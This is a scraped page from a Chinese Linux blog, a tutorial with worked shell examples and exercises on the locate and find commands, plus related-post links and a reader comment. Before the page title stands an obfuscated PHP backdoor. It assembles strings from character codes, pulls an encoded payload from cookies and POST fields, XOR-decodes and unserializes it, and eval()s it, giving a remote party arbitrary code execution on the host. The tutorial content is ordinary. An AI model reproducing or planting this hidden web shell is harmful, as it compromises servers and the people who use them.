$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Find小总结及应用 | Linux运维部落

Find小总结及应用

Find总结及应用

搜索命令:
    locate命令:
        在文件系统上查找符合条件的文件
        非实时查找( 数据库查找) :locate    
    find:
        实时查找
locate命令
查询系统上预建的文件索引数据库
    /var/lib/mlocate/mlocate.db
    依赖于事先构建的索引
    刚刚创建的文件使用locate搜索不到,需要手动更新数据库。
    索引的构建是在系统较为空闲时自动进行(周期性 任务),管理员手动更新数据库(updatedb)
    
索引构建过程需要遍历整个根文件系统,极消耗资源

工作特点:
    •  查找 速度 快
    •  模糊 查找
    •  非实时查找
    •  搜索的是文件的全路径,不仅仅是文件名
    •  可能只搜索用户具备读取和执行权限的目录
    
locate KEYWORD有用的选项
    • -i 执行区分大小写的搜索
        [root@localhost ~]# locate -i  -n 5 /root/bin '*.SH$'
        /root/bin
        /root/bin/absum.sh
        /root/bin/argsnum.sh
        /root/bin/backup.sh
        /root/bin/checkint.sh

    • -n N 只列举前N 个匹配项目
        [root@localhost ~]# locate -n 5 /root/bin '*.sh$'
        /root/bin
        /root/bin/absum.sh
        /root/bin/argsnum.sh
        /root/bin/backup.sh
        /root/bin/checkint.sh

locate foo
    • 搜索名称或路径中带有“foo ”的文件
locate -r ‘\.foo$’
    • 使用Regex 来搜索以“.foo“结尾的文件
        [root@localhost ~]# locate -r '\.foo$'
        /root/test.foo

find命令

实时查找工具,通过遍历指定路径完成文件查找;

工作特点:
    • 查找速度略慢
    • 精确查找
    • 实时查找
    • 可能只搜索用户具备读取和执行权限的目录
  • 语法:

find [OPTION]... [ 查找路径] [ 查找条件] [ 处理动作]
    查找路径:指定具体目标路径;默认为当前目录

    查找条件:指定的查找标准,可以文件名、大小、类型、权限等标准进行;默认为找出指定路径下的所有文件

    处理动作:对符合条件的文件做操作,默认输出至屏幕
  • 查找条件

根据文件名和inode 查找:
    -name " 文件名称" :支持使用glob
        *, ?, [], [^]
    [root@localhost ~]# find -name hostping*
    ./bin/hostping.sh
    ./bin/hostping2.sh

    在不指定路径的情况下,默认搜索当前目录及其子目录及其文件
    -iname " 文件名称" :不区分字母大小写
        [root@localhost ~]# find  -iname "*.SH"
        ./bin/sumfile.sh
        ./bin/argsnum.sh
        ./bin/per.sh
        ./bin/nologin.sh
        ./bin/absum.sh
        ./bin/numsum.sh
        ./bin/filetype.sh
        ./bin/systeminfo.sh
        ./bin/backup.sh
        ./bin/disk.sh
        ./bin/links.sh
        ./bin/sumid.sh
        ./bin/sumspace.sh
        ./bin/hostping.sh
        ./bin/login.sh
        ./bin/hostping2.sh
        ./bin/createuser.sh
        ./bin/yesorno.sh
        ./bin/checkint.sh

    -inum n 按inode 号查找
        [root@localhost ~]# ll -i
        total 16
        201431364 drwxr-xr-x  2 root root    6 Jul 29 02:16 2016-07-29
        201363477 -rw-------. 1 root root 2633 Jul 25 21:08 anaconda-ks.cfg             
        1111 drwxr-xr-x  2 root root 4096 Aug 15 12:01 bin        
        201382282 -rw-r--r--  1 root root   62 Aug 15 11:09 f1        
        201382285 -rw-r--r--  1 root root  614 Jul 29 04:07 fstab        
        201391491 -rw-r--r--  1 root root    0 Aug 15 20:06 test.foo
        [root@localhost ~]# find -inum 201382285
        ./fstab

    -samefile name 相同inode 号的文件
    -links n 链接数为n 的文件
        [root@localhost ~]# find -links 3
        ./.cache
        ./.config
        [root@localhost ~]# ll ./.config
        total 4
        drwxr-xr-x 2 root root   6 Jul 25 13:18 abrt
        -rw-r--r-- 1 root root 278 Jul 25 13:30 Trolltech.conf

    -regex "PATTERN" :以PATTERN匹配整个文件路径字符串,而不仅仅是文件名(使用的不是通配符,是正则表达式)
        [root@localhost ~]# find / -regex ".*\.sh"
    根据属主、属组查找:
        -user USERNAME :查找属主为指定用户(UID)的文件
        -group GRPNAME:  查找属组为指定组(GID)的文件
        -uid UserID :查找属主为指定的UID号的文件
        -gid GroupID :查找属组为指定的GID号的文件
        -nouser :查找没有属主的文件
        -nogroup :查找没有属组的文件
    
    多个选项一起的话空格隔开,默认就是并且的关系
    
根据文件类型查找:
    -type TYPE:
    • f:  普通文件
    • d:  目录文件
    • l:  符号链接文件
    • s :套接字文件
    • b:  块设备文件
    • c:  字符设备文件
    • p: 管道文件
    
组合条件:
    与:-a
    或:-o
    非:-not, !

德· 摩根定律:
    (非 P) 或 (非 Q) =  非(P 且 Q)
    (非 P) 且 (非 Q) =  非(P 或 Q)

示例:
    !A -a !B = !(A -o B)
    !A -o !B = !(A -a B)

排除目录
• 示例:查找/etc/ 下,除/etc/sane.d 目录的其它所有.conf后缀的文件
    find /etc -path ‘/etc/sane.d’ -a -prune -o -name “*.conf” -print
    find  要查找的目录  -path 要排除的目录  -a -prune -o -name  要找的文件  -print 打印    
根据文件大小来查找:
    -size [+|-]#UNIT
        常用单位:k, M, G    #UNIT: (#-1, #]
        如 :6k  表示(5k,6k]
    -#UNIT :[0,#-1]
        如 :-6k  表示[0,5k]
    +#UNIT :(#, ∞ )
        如 :+6k  表示(6k ,∞ )
        
根据时间戳: 
以“天”为单位;
    -atime [+|-]#,
        #: [#,#+1)
            如:7 [7,8)::过去的第七天到第八天
        +#: [#+1, ∞ ]
            如:+7 [8,∞)过去的第八天到过去的无穷远天
        -#: [0,#)
            如:-7 [0,7)
    -mtime
    -ctime
以“分钟”为单位:
    -amin
    -mmin
    -cmin

根据权限查找:
-perm [/|-]MODE
    MODE:  精确权限匹配:八进制表示法642
    /MODE :任何一类(u,g,o) 对象的权限中只要能一位匹配即可,或关系,+从centos7 开始淘汰
    -MODE :每一类对象都必须同时拥有指定权限,与关系    0  表示不关注
    • find -perm 755 会匹配权限模式恰好是755 的文件
    •  只要当任意人有写权限时,find -perm +222 就会匹配
    •  只有当每个人都有写权限时,find -perm -222 才会匹配
    •  只有当其它人(other )有写权限时,find -perm -002才会匹配
  • 处理动作

    -print :默认的处理动作,显示至屏幕;
      -ls :类似于对查找到的文件执行“ls -l” 命令
      -delete :删除查找到的文件;
      -fls file :查找到的所有文件的长格式信息保存至指定文件中
      -ok COMMAND {} \;  对查找到的每个文件执行由COMMAND 指定的命令;{}表示搜索到的文件。
          对于每个文件执行命令之前,都会交互式要求用户确认
      (exec可以全部执行命令指定的操作,不需要一个个确认操作)
      例如:find -perm -222 -exec chmod o-w {} \;
      
      -exec COMMAND {} \;  对查找到的每个文件执行由COMMAND 指定的命令
      {}:  用于引用查找到的文件名称自身
          find传递查找到的文件至后面指定的命令时,查找到所有符合条件的文件一次性传递给后面的命令
          
      
      [root@localhost testc]# chmod a=wx ff{1..4}
      [root@localhost testc]# find /root/testc/ -perm -222
      /root/testc/ff1
      /root/testc/ff2
      /root/testc/ff3
      /root/testc/ff4
      /root/testc/ff5
      /root/testc/ff6
      /root/testc/ff7
      /root/testc/ff8
      [root@localhost testc]# find /root/testc/ -perm -222 -ok chmod a=r {} \;
      < chmod ... /root/testc/ff1 > ? y
      < chmod ... /root/testc/ff2 > ? y
      < chmod ... /root/testc/ff3 > ? y
      < chmod ... /root/testc/ff4 > ? 
      < chmod ... /root/testc/ff5 > ? 
      < chmod ... /root/testc/ff6 > ? 
      < chmod ... /root/testc/ff7 > ? 
      < chmod ... /root/testc/ff8 > ? 
    
      [root@localhost testc]# ll
      total 0
      -r--r--r-- 1 root root 0 Aug 16 00:11 ff1
      -r--r--r-- 1 root root 0 Aug 16 00:11 ff2
      -r--r--r-- 1 root root 0 Aug 16 00:11 ff3
      --wx-wx-wx 1 root root 0 Aug 16 00:11 ff4
      -rw-rw-rw- 1 root root 0 Aug 16 00:11 ff5
      -rw-rw-rw- 1 root root 0 Aug 16 00:11 ff6
      -rw-rw-rw- 1 root root 0 Aug 16 00:11 ff7
      -rw-rw-rw- 1 root root 0 Aug 16 00:11 ff8
      [root@localhost testc]# find /root/testc/ -perm -222 -exec chmod a=r {} \;
      [root@localhost testc]# ll
      total 0
      -r--r--r-- 1 root root 0 Aug 16 00:11 ff1
      -r--r--r-- 1 root root 0 Aug 16 00:11 ff2
      -r--r--r-- 1 root root 0 Aug 16 00:11 ff3
      -r--r--r-- 1 root root 0 Aug 16 00:11 ff4
      -r--r--r-- 1 root root 0 Aug 16 00:11 ff5
      -r--r--r-- 1 root root 0 Aug 16 00:11 ff6
      -r--r--r-- 1 root root 0 Aug 16 00:11 ff7
      -r--r--r-- 1 root root 0 Aug 16 00:11 ff8
      [root@localhost testc]# 
    
      
      有些命令不能接受过多参数,此时命令执行可能会失败,下面方式可规避此问题
          find | xargs COMMAND
      
      [root@localhost ~]# find /root/testc/ -perm -222 | xargs chmod a+x
      [root@localhost ~]# ll /root/testc/
      total 0
      -rwxrwxrwx 1 root root 0 Aug 16 00:11 ff1
      -rwxrwxrwx 1 root root 0 Aug 16 00:11 ff2
      -rwxrwxrwx 1 root root 0 Aug 16 00:11 ff3
      -rwxrwxrwx 1 root root 0 Aug 16 00:11 ff4
      -rwxrwxrwx 1 root root 0 Aug 16 00:11 ff5
      -rwxrwxrwx 1 root root 0 Aug 16 00:11 ff6
      -rwxrwxrwx 1 root root 0 Aug 16 00:11 ff7
      -rwxrwxrwx 1 root root 0 Aug 16 00:11 ff8
    • 1、查找/var目录下属主为root,且属组为mail的所有文件
      
      [root@localhost ~]# find /var -user root -group mail/var/spool/mail
      [root@localhost ~]#
      
      2、查找/var目录下不属于root、lp、gdm的所有文件
      
      [root@localhost ~]# find /var -not \( -user root -o -user lp -o -user gdm \) -ls
      
      3、查找/var目录下最近一周内其内容修改过,同时属主不为root,也不是postfix的文件
      
      [root@localhost ~]# find  /var -not \( -user root -o -user postfix \) -mtime -7/var/log/cups
      /var/spool/mail/tom
      /var/spool/mail/alice2
      /var/spool/mail/alice3
      /var/spool/mail/alice5
      
      4、查找当前系统上没有属主或属组,且最近一个周内曾被访问过的文件
      
      [root@localhost ~]# find / \( -nouser -nogroup \) -atime -7find: ‘/proc/1840/task/1840/fd/6’: No such file or directory
      find: ‘/proc/1840/task/1840/fdinfo/6’: No such file or directory
      find: ‘/proc/1840/fd/6’: No such file or directory
      find: ‘/proc/1840/fdinfo/6’: No such file or directory
      /home/alice2
      /home/alice2/.mozilla
      /home/alice2/.mozilla/extensions
      /home/alice2/.mozilla/plugins
      /home/alice2/.bash_logout
      /home/alice2/.bash_profile
      /home/alice2/.bashrc
      
      5、查找/etc目录下大于1M且类型为普通文件的所有文件
      
      [root@localhost ~]# find /etc -size +1M -type f/etc/selinux/targeted/policy/policy.29/etc/udev/hwdb.bin
      [root@localhost ~]#
      
      6、查找/etc目录下所有用户都没有写权限的文件
      
      [root@localhost ~]# find /etc -not -perm /222 -ls
      
      7、查找/etc目录下至少有一类用户没有执行权限的文件
      
      [root@localhost ~]# find /etc -not -perm -111 -ls
      
      8、查找/etc/init.d目录下,所有用户都有执行权限,且其它用户有写权限的文件
      
      [root@localhost ~]# find /etc/init.d -perm -113 -ls134305318    0 lrwxrwxrwx   1 root     root           11 Jul 25 20:05 /etc/init.d -> rc.d/init.d

原创文章,作者:dxkboke,如若转载,请注明出处:http://www.178linux.com/36330

(0)
上一篇 2016-08-16 13:59
下一篇 2016-08-16 13:59

相关推荐

  • 马哥教育网络班22期+第四周课程练习

    1、复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限 [root@localhost ~]# cp -rf /etc/skel/ /home/tuser1 &> /dev/null [root@localhost ~]# chmod -R go= /home/tus…

    Linux干货 2016-09-07
  • DNS中view的实现

    [root@localhost /var/named]# ll total 32 -rw-r–r–. 1 root  root   173 Jan 20 14:46 magedu.com.zone -rw-r–r–. 1 root  root   173 Jan 20 14:46 magedu.com.zone…

    2018-01-22
  • shell脚本3——循环语句

    流程控制:      顺序执行      选择执行      循环执行 循环执行:      将某代码段重复运行多次      重复运行多少次:  &…

    Linux干货 2016-08-18
  • 学以致用

    1、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。 cp – copy files and directories 复制文件或目录 使用格式: 单文件复制 cp [OPTION]… [-T] SOURCE DEST 如果DEST不存在,即创建文件并复制源文件数据流; 如果DEST存在,且为非目录文件时,将覆盖…

    Linux干货 2016-10-13
  • 用户权限管理及课后作业

    一.权限对目录、文件的意义 文件 r 可用文件查看类工具获取文件内容 w 可以修改文件内容(包括清空) x 可执行该文件 [root@localhost testdir]# cat zzz i am fine  thank you [root@localhost testdir]…

    Linux干货 2016-08-08
  • Linux系统启动过程中grub故障与修复(一)

    GRUB 是引导装入器 — 它负责装入内核并引导 Linux 系统。GRUB 可以引导多种操作系统,如Linux、 DOS、 Windows 。 GRUB共分为三个阶段:stage1主要负责BIOS和GRUB之间的交接,载入存放于各个分区中的开机文件;stage1.5是连接stage1和stage2之间的通道,起着过渡的作用,负责识别stage2所在/bo…

    2017-09-03

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-19 14:15

    文章对find的常见用法比较详细,但是实验部分的例子不太清晰,我们做实验时先有一个问题,而后通过实验区验证我们的想法要知道自己在干什么。